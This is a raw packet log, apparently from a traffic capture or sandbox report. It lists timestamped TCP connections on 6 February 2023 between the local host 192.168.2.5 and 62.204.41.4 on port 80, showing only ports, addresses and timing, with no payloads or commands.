Feb 6, 2023 14:16:33.283612013 CET	80	49708	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.283751965 CET	49708	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.286875010 CET	80	49709	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.287100077 CET	49709	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.287571907 CET	49709	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.350275040 CET	80	49709	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.353867054 CET	80	49709	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.354121923 CET	49709	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.466859102 CET	49709	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.467489958 CET	49710	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.533123970 CET	80	49709	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.533155918 CET	80	49710	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.533293009 CET	49709	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.533334017 CET	49710	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.533909082 CET	49710	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.597686052 CET	80	49710	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.601789951 CET	80	49710	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.601977110 CET	49710	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.717964888 CET	49710	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.719047070 CET	49711	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.780078888 CET	80	49711	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.780221939 CET	49711	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.780905008 CET	80	49710	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.780977964 CET	49710	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.781092882 CET	49711	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:33.840681076 CET	80	49711	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.843689919 CET	80	49711	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:33.843822956 CET	49711	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.035156965 CET	49711	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.036046982 CET	49712	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.095686913 CET	80	49711	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.095779896 CET	49711	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.104942083 CET	80	49712	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.105112076 CET	49712	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.380434036 CET	49712	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.443031073 CET	80	49712	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.447359085 CET	80	49712	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.447457075 CET	49712	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.566401005 CET	49712	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.567195892 CET	49713	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.628118038 CET	80	49713	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.628336906 CET	49713	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.629647970 CET	80	49712	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.629777908 CET	49712	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.634243011 CET	49713	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.695442915 CET	80	49713	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.698781967 CET	80	49713	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.698959112 CET	49713	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.857948065 CET	49713	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.858820915 CET	49714	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.918611050 CET	80	49713	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.918756008 CET	49713	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.920150995 CET	80	49714	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:34.920285940 CET	49714	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:34.963073015 CET	49714	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:35.023448944 CET	80	49714	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:35.026926041 CET	80	49714	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:35.027054071 CET	49714	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:35.176768064 CET	49714	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:35.177650928 CET	49715	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:35.237788916 CET	80	49714	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:35.237957001 CET	49714	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:35.238209009 CET	80	49715	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:35.238301992 CET	49715	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:35.302871943 CET	49715	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:35.363466978 CET	80	49715	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:35.368762016 CET	80	49715	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:35.369009018 CET	49715	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.031475067 CET	49715	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.032350063 CET	49716	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.091893911 CET	80	49715	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:36.092161894 CET	49715	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.095011950 CET	80	49716	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:36.095212936 CET	49716	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.096630096 CET	49716	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.165615082 CET	80	49716	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:36.170519114 CET	80	49716	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:36.170598984 CET	49716	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.282521009 CET	49716	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:36.344875097 CET	80	49716	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:36.345038891 CET	49716	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.043287039 CET	49717	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.110043049 CET	80	49717	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.110162020 CET	49717	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.110724926 CET	49717	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.174278975 CET	80	49717	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.180257082 CET	80	49717	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.180319071 CET	49717	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.298130035 CET	49717	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.299005985 CET	49718	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.358602047 CET	80	49718	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.358711004 CET	49718	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.360119104 CET	49718	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.360616922 CET	80	49717	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.360692978 CET	49717	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.420363903 CET	80	49718	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.424526930 CET	80	49718	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.424593925 CET	49718	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.533976078 CET	49718	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.534759998 CET	49719	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.596906900 CET	80	49718	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.597079992 CET	49718	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.597136974 CET	80	49719	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.597286940 CET	49719	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.598088026 CET	49719	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.662060976 CET	80	49719	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.666188002 CET	80	49719	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.666373014 CET	49719	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.779803038 CET	49719	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.780940056 CET	49720	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.844115019 CET	80	49720	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.844141960 CET	80	49719	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.844333887 CET	49719	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.844825983 CET	49720	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.844825983 CET	49720	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:38.906331062 CET	80	49720	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.909267902 CET	80	49720	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:38.909400940 CET	49720	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.017676115 CET	49720	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.018456936 CET	49721	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.079272985 CET	80	49720	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.079472065 CET	49720	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.080600023 CET	80	49721	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.080766916 CET	49721	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.081762075 CET	49721	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.144233942 CET	80	49721	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.150372028 CET	80	49721	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.150526047 CET	49721	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.264743090 CET	49721	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.265789032 CET	49722	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.326814890 CET	80	49722	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.327078104 CET	49722	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.327483892 CET	49722	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.328414917 CET	80	49721	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.328510046 CET	49721	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.388763905 CET	80	49722	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.392071009 CET	80	49722	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.392230988 CET	49722	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.498991966 CET	49722	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.499911070 CET	49723	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.560492039 CET	80	49722	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.560668945 CET	49722	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.561482906 CET	80	49723	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.561688900 CET	49723	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.562180042 CET	49723	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.623534918 CET	80	49723	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.626537085 CET	80	49723	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.626720905 CET	49723	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.734029055 CET	49723	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.734872103 CET	49724	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.795861006 CET	80	49723	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.796017885 CET	49723	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.797593117 CET	80	49724	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.797708988 CET	49724	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.798183918 CET	49724	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.862035990 CET	80	49724	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.865067005 CET	80	49724	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:39.865217924 CET	49724	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.969964981 CET	49724	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:39.970825911 CET	49725	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:40.032654047 CET	80	49724	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:40.032844067 CET	49724	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:42.982376099 CET	49725	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.044387102 CET	80	49725	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.044615984 CET	49725	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.045429945 CET	49725	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.110836983 CET	80	49725	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.130012035 CET	80	49725	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.130192995 CET	49725	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.233067989 CET	49725	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.233959913 CET	49726	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.296143055 CET	80	49726	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.296341896 CET	49726	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.296503067 CET	80	49725	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.296598911 CET	49725	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.296876907 CET	49726	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.357618093 CET	80	49726	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.361358881 CET	80	49726	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.361491919 CET	49726	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.467587948 CET	49726	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.468476057 CET	49727	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.528884888 CET	80	49726	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.529061079 CET	49726	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.530992031 CET	80	49727	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.531163931 CET	49727	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.531560898 CET	49727	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.596689939 CET	80	49727	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.601125956 CET	80	49727	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.601260900 CET	49727	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.717979908 CET	49727	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.719036102 CET	49728	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.781630039 CET	80	49728	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.781735897 CET	49728	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.782212019 CET	80	49727	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:43.782299042 CET	49727	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:43.785939932 CET	49728	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.092256069 CET	49728	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.154295921 CET	80	49728	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.158833027 CET	80	49728	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.158952951 CET	49728	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.271847010 CET	49728	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.272744894 CET	49729	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.334157944 CET	80	49728	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.334250927 CET	49728	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.339255095 CET	80	49729	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.339395046 CET	49729	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.339848995 CET	49729	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.402786970 CET	80	49729	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.405359983 CET	80	49729	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.405462980 CET	49729	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.530580997 CET	49729	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.531245947 CET	49730	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.593791962 CET	80	49729	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.593993902 CET	49729	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.596111059 CET	80	49730	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.596210003 CET	49730	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.596889973 CET	49730	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.659343958 CET	80	49730	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.663312912 CET	80	49730	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:44.663407087 CET	49730	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.788234949 CET	49730	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:44.789097071 CET	49731	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:45.091938972 CET	49730	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:45.159786940 CET	80	49730	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:45.160012007 CET	49730	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:47.795232058 CET	49731	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:47.854950905 CET	80	49731	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:47.855142117 CET	49731	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:47.855990887 CET	49731	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:47.915445089 CET	80	49731	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:47.920581102 CET	80	49731	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:47.920697927 CET	49731	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.033396959 CET	49731	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.034459114 CET	49732	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.094054937 CET	80	49731	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:48.094268084 CET	49731	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.096539021 CET	80	49732	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:48.096785069 CET	49732	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.097239017 CET	49732	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.159673929 CET	80	49732	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:48.171710014 CET	80	49732	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:48.171915054 CET	49732	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.280827999 CET	49732	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.281790018 CET	49733	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.592308044 CET	49732	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:48.657002926 CET	80	49732	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:48.658637047 CET	49732	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.295607090 CET	49733	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.356422901 CET	80	49733	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.360043049 CET	49733	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.368597031 CET	49733	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.430866003 CET	80	49733	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.434515953 CET	80	49733	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.434689999 CET	49733	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.547961950 CET	49733	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.548933029 CET	49734	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.609134912 CET	80	49733	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.611212969 CET	80	49734	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.611274958 CET	49733	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.611310005 CET	49734	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.611738920 CET	49734	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.675307035 CET	80	49734	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.678834915 CET	80	49734	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.678986073 CET	49734	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.780555964 CET	49734	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.781580925 CET	49735	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.843317986 CET	80	49735	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.843990088 CET	80	49734	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.844166040 CET	49734	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.844624043 CET	49735	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.844624043 CET	49735	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:51.905502081 CET	80	49735	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.910830021 CET	80	49735	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:51.911298037 CET	49735	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.015194893 CET	49735	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.015952110 CET	49736	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.075539112 CET	80	49735	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.075637102 CET	49735	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.078322887 CET	80	49736	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.079313040 CET	49736	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.079669952 CET	49736	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.142939091 CET	80	49736	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.146827936 CET	80	49736	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.147280931 CET	49736	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.249859095 CET	49736	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.250818014 CET	49737	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.312411070 CET	80	49737	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.312510967 CET	80	49736	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.312563896 CET	49737	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.312609911 CET	49736	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.313327074 CET	49737	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.375003099 CET	80	49737	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.378164053 CET	80	49737	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.378288031 CET	49737	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.485661030 CET	49737	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.487644911 CET	49738	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.547368050 CET	80	49737	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.547554970 CET	49737	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.549469948 CET	80	49738	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.549561977 CET	49738	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.550399065 CET	49738	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.610831022 CET	80	49738	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.614141941 CET	80	49738	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.614255905 CET	49738	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.719618082 CET	49738	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.720774889 CET	49739	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.780338049 CET	80	49738	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.780534983 CET	49738	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.782260895 CET	80	49739	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.782435894 CET	49739	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.782773972 CET	49739	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.844388962 CET	80	49739	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.847732067 CET	80	49739	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:52.847945929 CET	49739	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.953123093 CET	49739	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:52.954147100 CET	49740	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.014549971 CET	80	49739	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.014679909 CET	49739	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.014884949 CET	80	49740	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.015005112 CET	49740	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.015336037 CET	49740	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.080697060 CET	80	49740	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.081063986 CET	80	49740	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.081165075 CET	49740	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.197599888 CET	49740	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.198452950 CET	49741	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.259514093 CET	80	49740	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.259589911 CET	49740	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.260719061 CET	80	49741	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.260811090 CET	49741	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.261441946 CET	49741	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.327114105 CET	80	49741	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.329667091 CET	80	49741	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.329803944 CET	49741	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.570595026 CET	49741	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.571415901 CET	49742	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.631300926 CET	80	49742	62.204.41.4	192.168.2.5
Feb 6, 2023 14:16:53.631462097 CET	49742	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.631836891 CET	49742	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:16:53.632114887 CET	80	49741	62.204.41.4	192.168.2.5
